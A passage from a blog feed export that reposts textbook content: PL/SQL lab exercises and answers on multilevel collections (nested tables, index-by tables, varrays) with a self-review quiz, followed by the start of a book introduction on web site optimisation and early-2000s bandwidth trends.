produced.&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;A1:&lt;br /&gt;                        &lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;P class="docText"&gt;&lt;span class="docEmphasis"&gt;Answer: Your output should look similar to the following:&lt;/span&gt;&lt;/P&gt;&lt;pre&gt;&lt;br /&gt;&lt;span class="docEmphStrong"&gt;table_tab2(1)(1): 1&lt;/span&gt; &lt;br /&gt;&lt;span class="docEmphStrong"&gt;table_tab2(1)(2): 2&lt;/span&gt; &lt;br /&gt;&lt;span class="docEmphStrong"&gt;table_tab2(1)(3): 3&lt;/span&gt; &lt;br /&gt;&lt;span class="docEmphStrong"&gt;table_tab2(2)(1): 3&lt;/span&gt; &lt;br /&gt;&lt;span class="docEmphStrong"&gt;table_tab2(2)(2): 2&lt;/span&gt; &lt;br /&gt;&lt;span class="docEmphStrong"&gt;table_tab2(2)(3): 1&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span class="docEmphStrong"&gt;PL/SQL procedure successfully completed.&lt;/span&gt; &lt;/pre&gt;&lt;P class="docText"&gt;&lt;span class="docEmphasis"&gt;The script ch18_4a.sql uses multilevel index-by tables or an index-by table of index-by tables. The declaration portion of the script defines a multilevel index-by table&lt;/span&gt; table_tab2&lt;span class="docEmphasis"&gt;. Each row of this table is an index-by table consisting of three rows. The executable portion of the script populates the multilevel table via nested numeric FOR loops. In the first iteration of the outer loop, the inner loop populates the index-by table&lt;/span&gt; table_tab1 &lt;span class="docEmphasis"&gt;with values 1, 2, 3, and the first row of the multilevel table&lt;/span&gt; table_tab2&lt;span class="docEmphasis"&gt;. In the second iteration of the outer loop, the inner loop populates the index-by table&lt;/span&gt; table_tab1 &lt;span class="docEmphasis"&gt;with values 3, 2, 1, and the second row of the multilevel table&lt;/span&gt; table_tab2&lt;span class="docEmphasis"&gt;.&lt;/span&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;b)&lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;P class="docText"&gt;Modify the script so that instead of using multilevel index-by tables it uses a nested table of index-by tables.&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;A2:&lt;br /&gt;                        &lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;P class="docText"&gt;&lt;span class="docEmphasis"&gt;Answer: Your script should look similar to the following script. Changes are shown in bold letters.&lt;/span&gt;&lt;/P&gt;&lt;pre&gt;&lt;br /&gt;-- ch18_4b.sql, version 2.0 &lt;br /&gt;SET SERVEROUTPUT ON &lt;br /&gt;DECLARE &lt;br /&gt;   TYPE table_type1 IS TABLE OF integer INDEX BY &lt;br /&gt;BINARY_INTEGER; &lt;br /&gt;   &lt;span class="docEmphStrong"&gt;TYPE table_type2 IS TABLE OF table_type1;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;   table_tab1 table_type1; &lt;br /&gt;   &lt;span class="docEmphStrong"&gt;table_tab2 table_type2 := table_type2();&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;BEGIN &lt;br /&gt;   FOR i IN 1..2 LOOP &lt;br /&gt;      &lt;span class="docEmphStrong"&gt;table_tab2.EXTEND;&lt;/span&gt; &lt;br /&gt;      FOR j IN 1..3 LOOP &lt;br /&gt;         IF i = 1 THEN &lt;br /&gt;            table_tab1(j) := j; &lt;br /&gt;         ELSE &lt;br /&gt;            table_tab1(j) := 4 - j; &lt;br /&gt;         END IF; &lt;br /&gt;         table_tab2(i)(j) := table_tab1(j); &lt;br /&gt;         DBMS_OUTPUT.PUT_LINE ('table_tab2('|| &lt;br /&gt;            i||')('||j||'): '||table_tab2(i)(j)); &lt;br /&gt;      END LOOP; &lt;br /&gt;   END LOOP; &lt;br /&gt;END; &lt;/pre&gt;&lt;P class="docText"&gt;In this version of the script, the table_type2 is declared as a nested table of index-by tables. Next, table_tab2 is initialized prior to its use, and its size is extended before a new element is assigned a value.&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;c)&lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;P class="docText"&gt;Modify the script so that instead of using multilevel index-by tables it uses a nested table of varrays.&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;A3:&lt;br /&gt;                        &lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;P class="docText"&gt;&lt;span class="docEmphasis"&gt;Answer: Your script should look similar to the following script. Changes are shown in bold letters.&lt;/span&gt;&lt;/P&gt;&lt;pre&gt;&lt;br /&gt;-- ch18_4c.sql, version 3.0 &lt;br /&gt;SET SERVEROUTPUT ON &lt;br /&gt;DECLARE &lt;br /&gt;   &lt;span class="docEmphStrong"&gt;TYPE table_type1 IS VARRAY(3) OF integer;&lt;/span&gt; &lt;br /&gt;   &lt;span class="docEmphStrong"&gt;TYPE table_type2 IS TABLE OF table_type1;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;   &lt;span class="docEmphStrong"&gt;table_tab1 table_type1 := table_type1();&lt;/span&gt; &lt;br /&gt;   &lt;span class="docEmphStrong"&gt;table_tab2 table_type2 := table_type2(table_tab1);&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;BEGIN &lt;br /&gt;   FOR i IN 1..2 LOOP &lt;br /&gt;      &lt;span class="docEmphStrong"&gt;table_tab2.EXTEND;&lt;/span&gt; &lt;br /&gt;      &lt;span class="docEmphStrong"&gt;table_tab2(i) := table_type1();&lt;/span&gt; &lt;br /&gt;      FOR j IN 1..3 LOOP &lt;br /&gt;         IF i = 1 THEN &lt;br /&gt;            &lt;span class="docEmphStrong"&gt;table_tab1.EXTEND;&lt;/span&gt; &lt;br /&gt;            table_tab1(j) := j; &lt;br /&gt;         ELSE &lt;br /&gt;            table_tab1(j) := 4 - j; &lt;br /&gt;         END IF; &lt;br /&gt;         &lt;span class="docEmphStrong"&gt;table_tab2(i).EXTEND;&lt;/span&gt; &lt;br /&gt;         table_tab2(i)(j):= table_tab1(j); &lt;br /&gt;         DBMS_OUTPUT.PUT_LINE ('table_tab2('|| &lt;br /&gt;            i||')('||j||'): '||table_tab2(i)(j)); &lt;br /&gt;      END LOOP; &lt;br /&gt;   END LOOP; &lt;br /&gt;END; &lt;/pre&gt;&lt;P class="docText"&gt;In this declaration section of the script, the table_type1 is defined as a varray with three integer elements, and the table_type2 is declared as a nested table of varrays. Next, table_tab1 and table_tab2 are initialized prior to their uses.&lt;/P&gt;&lt;P class="docText"&gt;In the executable portion of the script, the size of the table_tab2 is incremented via the EXTEND method and its individual elements are initialized as follows:&lt;/P&gt;&lt;pre&gt;&lt;br /&gt;&lt;span class="docEmphStrong"&gt;table_tab2(i) := table_type1();&lt;/span&gt; &lt;/pre&gt;&lt;P class="docText"&gt;Notice that that each element is initialized via the constructor associated with the varray type table_type1. Furthermore, in order to populate a nested table, a new varray element must be added to the each nested table element as shown:&lt;/P&gt;&lt;pre&gt;&lt;br /&gt;&lt;span class="docEmphStrong"&gt;table_tab2(i).EXTEND;&lt;/span&gt; &lt;/pre&gt;&lt;P class="docText"&gt;In other words, for the first iteration of the outer loop, there are three varray elements added to the first element of the nested table. Without this statement, the script causes the following error:&lt;/P&gt;&lt;pre&gt;&lt;br /&gt;&lt;span class="docEmphStrong"&gt;DECLARE&lt;/span&gt; &lt;br /&gt;&lt;span class="docEmphStrong"&gt;*&lt;/span&gt; &lt;br /&gt;&lt;span class="docEmphStrong"&gt;ERROR at line 1:&lt;/span&gt; &lt;br /&gt;&lt;span class="docEmphStrong"&gt;ORA-06533: Subscript beyond count&lt;/span&gt; &lt;br /&gt;&lt;span class="docEmphStrong"&gt;ORA-06512: at line 20&lt;/span&gt; &lt;/pre&gt;&lt;P class="docText"&gt;When run, this script produces output identical to the original example:&lt;/P&gt;&lt;pre&gt;&lt;br /&gt;&lt;span class="docEmphStrong"&gt;table_tab2(1)(1): 1&lt;/span&gt; &lt;br /&gt;&lt;span class="docEmphStrong"&gt;table_tab2(1)(2): 2&lt;/span&gt; &lt;br /&gt;&lt;span class="docEmphStrong"&gt;table_tab2(1)(3): 3&lt;/span&gt; &lt;br /&gt;&lt;span class="docEmphStrong"&gt;table_tab2(2)(1): 3&lt;/span&gt; &lt;br /&gt;&lt;span class="docEmphStrong"&gt;table_tab2(2)(2): 2&lt;/span&gt; &lt;br /&gt;&lt;span class="docEmphStrong"&gt;table_tab2(2)(3): 1&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span class="docEmphStrong"&gt;PL/SQL procedure successfully completed.&lt;/span&gt; &lt;/pre&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TABLE&gt;&lt;/P&gt;&lt;P class="docText"&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;H5 class="docSection3Title"&gt; Answers&lt;/H5&gt;&lt;P&gt;&lt;TABLE BORDER="0" cellspacing="16" cellpadding="0"&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;4)&lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;P class="docText"&gt;Based on the preceding script, what is the value of the variable VAR1?&lt;/P&gt;&lt;span style="font-weight:bold"&gt;&lt;OL class="docList" TYPE="a"&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;_____ There is no value because the script generates an error.&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;_____ 2&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;_____ 6&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;/OL&gt;&lt;/span&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;A1:&lt;br /&gt;                        &lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;P&gt;&lt;TABLE CELLSPACING="0" FRAME="void" RULES="none" CELLPADDING="5" WIDTH="100%"&gt;&lt;COLGROUP span="3"&gt;&lt;THEAD&gt;&lt;TR&gt;&lt;TH class="docTableHeader"&gt;&lt;br /&gt;&lt;P class="docText"&gt;Questions&lt;/P&gt;&lt;/TH&gt;&lt;TH class="docTableHeader"&gt;&lt;br /&gt;&lt;P class="docText"&gt;Answers&lt;/P&gt;&lt;/TH&gt;&lt;TH class="docTableHeader"&gt;&lt;br /&gt;&lt;P class="docText"&gt;Comments&lt;/P&gt;&lt;/TH&gt;&lt;/TR&gt;&lt;/THEAD&gt;&lt;TR&gt;&lt;TD class="docTableCell"&gt;&lt;br /&gt;&lt;P class="docText"&gt;4)&lt;/P&gt;&lt;/TD&gt;&lt;TD class="docTableCell"&gt;&lt;br /&gt;&lt;P class="docText"&gt;C&lt;/P&gt;&lt;/TD&gt;&lt;TD class="docTableCell"&gt;&lt;br /&gt;&lt;P class="docText"&gt;Consider the statement&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;&lt;br /&gt;&lt;/P&gt;&lt;pre&gt;&lt;br /&gt;varray2(2)(3) &lt;/pre&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TABLE&gt;&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;In this statement you are referencing the second element of varray2 and third element of varray1. Each element of varray2 is a varray of three integers defined as varray1. Recall the following declaration statement:&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;&lt;br /&gt;&lt;/P&gt;&lt;pre&gt;&lt;br /&gt;varray2 varray_type2 := &lt;br /&gt;   varray_type2(varray1, varray_type1 &lt;br /&gt;   (4, 5, 6)); &lt;/pre&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TABLE&gt;&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;where varray_type1(4, 5, 6) is the second element of the varray2. Notice that the third element of varray1 is 6. As a result, the variable var1 is assigned a value of 6.&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/COLGROUP&gt;&lt;/TABLE&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;5)&lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;P class="docText"&gt;The statement varray2(3).EXTEND&lt;/P&gt;&lt;span style="font-weight:bold"&gt;&lt;OL class="docList" TYPE="a"&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;_____ adds a third element to the third element of VARRAY2.&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;_____ adds a second element to the third element of VARRAY2.&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;_____ causes a 'Subscript beyond count' error.&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;/OL&gt;&lt;/span&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;A2:&lt;br /&gt;                        &lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;P&gt;&lt;TABLE CELLSPACING="0" FRAME="void" RULES="none" CELLPADDING="5" WIDTH="100%"&gt;&lt;COLGROUP span="3"&gt;&lt;THEAD&gt;&lt;TR&gt;&lt;TH class="docTableHeader"&gt;&lt;br /&gt;&lt;P class="docText"&gt;Questions&lt;/P&gt;&lt;/TH&gt;&lt;TH class="docTableHeader"&gt;&lt;br /&gt;&lt;P class="docText"&gt;Answers&lt;/P&gt;&lt;/TH&gt;&lt;TH class="docTableHeader"&gt;&lt;br /&gt;&lt;P class="docText"&gt;Comments&lt;/P&gt;&lt;/TH&gt;&lt;/TR&gt;&lt;/THEAD&gt;&lt;TR&gt;&lt;TD class="docTableCell"&gt;&lt;br /&gt;&lt;P class="docText"&gt;5)&lt;/P&gt;&lt;/TD&gt;&lt;TD class="docTableCell"&gt;&lt;br /&gt;&lt;P class="docText"&gt;B&lt;/P&gt;&lt;/TD&gt;&lt;TD class="docTableCell"&gt;&lt;br /&gt;&lt;P class="docText"&gt;You will recall that the PL/SQL block contains the following statements:&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;&lt;br /&gt;&lt;/P&gt;&lt;pre&gt;&lt;br /&gt;varray2.EXTEND; &lt;br /&gt;varray2(3) := varray_type1(0); &lt;br /&gt;varray2(3).EXTEND; &lt;/pre&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TABLE&gt;&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;The first statement increases the size of the varray2. In other words, this statement adds the third element to the collection. The second statement initializes the third element of the varray2 via constructor associated with the varray type varray_type1. This is done because each element of the varray2 is a varray of three integers. This adds one element to the varray1. The third statement increases the size of the varray1 by adding a placeholder for the second element. In other words, it adds the second element to the third element of varray2.&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/COLGROUP&gt;&lt;/TABLE&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TABLE&gt;&lt;/P&gt;&lt;P class="docText"&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;H4 class="docSection2Title"&gt; Lab 18.3 Self-Review Questions&lt;/H4&gt;&lt;br /&gt;&lt;P class="docText"&gt;In order to test your progress, you should be able to answer the following questions.&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;&lt;span class="docEmphasis"&gt;Answers appear in&lt;/span&gt; Appendix A&lt;span class="docEmphasis"&gt;,&lt;/span&gt; Section 18.3&lt;span class="docEmphasis"&gt;.&lt;/span&gt;&lt;/P&gt;&lt;br /&gt;&lt;P&gt;&lt;TABLE BORDER="0" cellspacing="16" cellpadding="0"&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;1)&lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;br /&gt;&lt;P class="docText"&gt;Multilevel collections are not supported by Oracle 8i.&lt;/P&gt;&lt;br /&gt;&lt;span style="font-weight:bold"&gt;&lt;OL class="docList" TYPE="a"&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;_____ True&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;_____ False&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;/OL&gt;&lt;/span&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;2)&lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;br /&gt;&lt;P class="docText"&gt;A varray of varrays has an upper bound&lt;/P&gt;&lt;br /&gt;&lt;span style="font-weight:bold"&gt;&lt;OL class="docList" TYPE="a"&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;_____ that is fixed and cannot be extended to all.&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;_____ that can be extended to its maximum size.&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;_____ that can be extended without any limits.&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;/OL&gt;&lt;/span&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;3)&lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;br /&gt;&lt;P class="docText"&gt;There is no need to initialize a nested table of index-by tables prior to its use.&lt;/P&gt;&lt;br /&gt;&lt;span style="font-weight:bold"&gt;&lt;OL class="docList" TYPE="a"&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;_____ True&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;_____ False&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;/OL&gt;&lt;/span&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TABLE&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;Consider the following script for the next two questions:&lt;/P&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;DECLARE &lt;br /&gt;   TYPE varray_type1 IS VARRAY(3) OF INTEGER; &lt;br /&gt;   TYPE varray_type2 IS VARRAY(10) OF varray_type1; &lt;br /&gt;&lt;br /&gt;   varray1 varray_type1 := varray_type1(1, 2, 3); &lt;br /&gt;   varray2 varray_type2 := varray_type2(varray1, &lt;br /&gt;   varray_type1(4, 5, 6)); &lt;br /&gt;&lt;br /&gt;   var1 INTEGER; &lt;br /&gt;BEGIN &lt;br /&gt;   var1 := varray2(2)(3); &lt;br /&gt;   varray2.EXTEND; &lt;br /&gt;   varray2(3) := varray_type1(0); &lt;br /&gt;   varray2(3).EXTEND; &lt;br /&gt;END; &lt;/pre&gt;&lt;br /&gt;&lt;P&gt;&lt;TABLE BORDER="0" cellspacing="16" cellpadding="0"&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;4)&lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;br /&gt;&lt;P class="docText"&gt;Based on the preceding script, what is the value of the variable VAR1?&lt;/P&gt;&lt;br /&gt;&lt;span style="font-weight:bold"&gt;&lt;OL class="docList" TYPE="a"&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;_____ There is no value because the script generates an error.&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;_____ 2&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;_____ 6&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;/OL&gt;&lt;/span&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;5)&lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;br /&gt;&lt;P class="docText"&gt;The statement varray2(3).EXTEND&lt;/P&gt;&lt;br /&gt;&lt;span style="font-weight:bold"&gt;&lt;OL class="docList" TYPE="a"&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;_____ adds a third element to the third element of VARRAY2.&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;_____ adds a second element to the third element of VARRAY2.&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;LI&gt;&lt;span style="font-weight:normal"&gt;&lt;P class="docList"&gt;_____ causes a 'Subscript beyond count' error.&lt;/P&gt;&lt;/span&gt;&lt;/LI&gt;&lt;/OL&gt;&lt;/span&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TABLE&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;hr size="1"&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="2"&gt;&lt;tr&gt;&lt;td valign="top" class="v2" height="5"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;TD&gt;&lt;b&gt;&lt;font size="1" color="#0000FF"&gt;Team-Fly&lt;/font&gt;&lt;/b&gt;&lt;/TD&gt;&lt;td valign="top" class="v2" align="right"&gt; &lt;br /&gt;          &amp;nbsp;&lt;br /&gt;          &lt;br /&gt;          &amp;nbsp;    &lt;br /&gt;          &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;tr&gt;&lt;td valign="top" align="right"&gt;Top&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/td&gt;&lt;td align="center"&gt; &amp;nbsp;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="3" align="center" valign="bottom"&gt;&lt;br&gt;&lt;table width="100%"&gt;&lt;tr&gt;&lt;td height="25" valign="middle" class="v2" colspan="4" align="center"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-2423687941319967708?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/2423687941319967708/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/lab-183-multilevel-collections.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/2423687941319967708'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/2423687941319967708'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/lab-183-multilevel-collections.html' title='Lab 18.3 Multilevel Collections'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-4070927613738532416</id><published>2009-11-13T07:49:00.037-08:00</published><updated>2009-11-13T07:49:43.685-08:00</updated><title type='text'>Every Site Can Benefit from WSO</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="#CCCCCC"&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;td class="tt1"&gt;[ Team LiB ]&lt;/td&gt;&lt;td valign="top" class="tt1" align="right"&gt;&lt;br /&gt;	&lt;br /&gt;	&lt;br /&gt;&lt;/td&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td valign="top"&gt;&lt;H3 class="docSection1Title"&gt; Every Site Can Benefit from WSO&lt;/H3&gt;&lt;br /&gt;&lt;P class="docText"&gt;WSO is design and technology agnostic. Media-rich artistic sites or news-oriented information sites can all benefit from WSO. Standards compliant or not, low-tech or high, (X)HTML or XML, CSS or XSLT�the same principles apply. Along the way, you will learn techniques that I learned only through ten years of web development and teaching developers how to create better sites at &lt;TT class="docEmphHyperlink"&gt;WebReference.com&lt;/TT&gt; and &lt;TT class="docEmphHyperlink"&gt;JavaScript.com&lt;/TT&gt;.&lt;/P&gt;&lt;br /&gt;&lt;H4 class="docSection2Title"&gt; What About Broadband?&lt;/H4&gt;&lt;br /&gt;&lt;P class="docText"&gt;I know what you're thinking: "What about broadband? Won't more bandwidth make WSO irrelevant?" Nope.&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;Even users with fast connections can get frustrated. Just ask the users of a certain west coast publication who called with a classic complexity conundrum. They said that even their &lt;span class="docEmphasis"&gt;cable modem&lt;/span&gt; users were complaining about the speed of their pages.&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;Cable modems are typically capable of providing throughput of 1 to 6Mbps when the whole block isn't online at once. On our T1, the pages for their site took more than a minute to display. Even though high-speed users downloaded their 100K HTML pages in a matter of seconds, page complexity and the sheer number of objects slowed rendering to a crawl.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;H4 class="docSection2Title"&gt; Bandwidth Trends&lt;/H4&gt;&lt;br /&gt;&lt;P class="docText"&gt;Despite the best efforts of broadband providers, last-mile bandwidth is increasing more slowly than some have predicted. According to Nielsen//NetRatings, as of September of 2002, 71.9 percent of home users connect to the Internet at 56K or less (see Figure I.1). Broadband use has steadily increased from 5.4 percent in October of 1999 to 28.1 percent in September of 2002. At this growth rate, broadband use in the United States will exceed 50 percent by late 2004.&lt;/P&gt;&lt;br /&gt;&lt;CENTER&gt;&lt;H5 class="docFigureTitle"&gt;Figure I.1. Web connection speed trends�U.S. home users.&lt;/H5&gt;&lt;p class="docText"&gt;&lt;/p&gt;&lt;br /&gt;&lt;/CENTER&gt;&lt;br /&gt;&lt;br /&gt;&lt;H4 class="docSection2Title"&gt; Site Speed Trends&lt;/H4&gt;&lt;br /&gt;&lt;P class="docText"&gt;Although bandwidth is increasing, most users access the Internet at 56Kbps or less. As you will learn in Part I, "The Psychology of Performance," user satisfaction is directly related to snappy response times and feedback. Although B2B sites have gotten the message,&lt;sup class="docFootnote"&gt;[2]&lt;/sup&gt; consumer sites are actually becoming slower.&lt;/P&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;p class="docFootnote"&gt;&lt;sup&gt;[2]&lt;/sup&gt; Patrick Mills and Chris Loosley, "A Performance Analysis of 40 e-Business Web Sites," &lt;span class="docEmphasis"&gt;CMG Journal of Computer Resource Management&lt;/span&gt;, no. 102 (2001): 28�33. From Oct. 1997 to Jan. 2001, B2B sites cut their average response times from 12 to 2.6 seconds.&lt;/p&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;P class="docText"&gt;According to Keynote Systems, the average download time for 56K modems of the top 40 consumer sites increased from 19.5 seconds in August of 2001 to 21.4 seconds in September of 2002 (see Figure I.2). Without feedback (and even with feedback), this is well over the attention threshold of most users.&lt;/P&gt;&lt;br /&gt;&lt;CENTER&gt;&lt;H5 class="docFigureTitle"&gt;Figure I.2. Download times of Keynote Consumer 40 for 56K modems.&lt;/H5&gt;&lt;p class="docText"&gt;&lt;/p&gt;&lt;br /&gt;&lt;/CENTER&gt;&lt;br /&gt;&lt;P class="docText"&gt;Although our computers are getting faster, the speed of our connections can't keep up. With Moore's law leading Metcalf's, CPU processing power is increasing faster than bandwidth.&lt;sup class="docFootnote"&gt;[3]&lt;/sup&gt;&lt;/P&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;p class="docFootnote"&gt;&lt;sup&gt;[3]&lt;/sup&gt; Jakob Nielsen, "Nielsen's Law of Internet Bandwidth," in &lt;span class="docEmphasis"&gt;Alertbox&lt;/span&gt; [online], (April 5, 1998 [cited 11 November 2002]), available from the Internet at http://www.useit.com/alertbox/980405.html.&lt;/p&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;/ul&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br 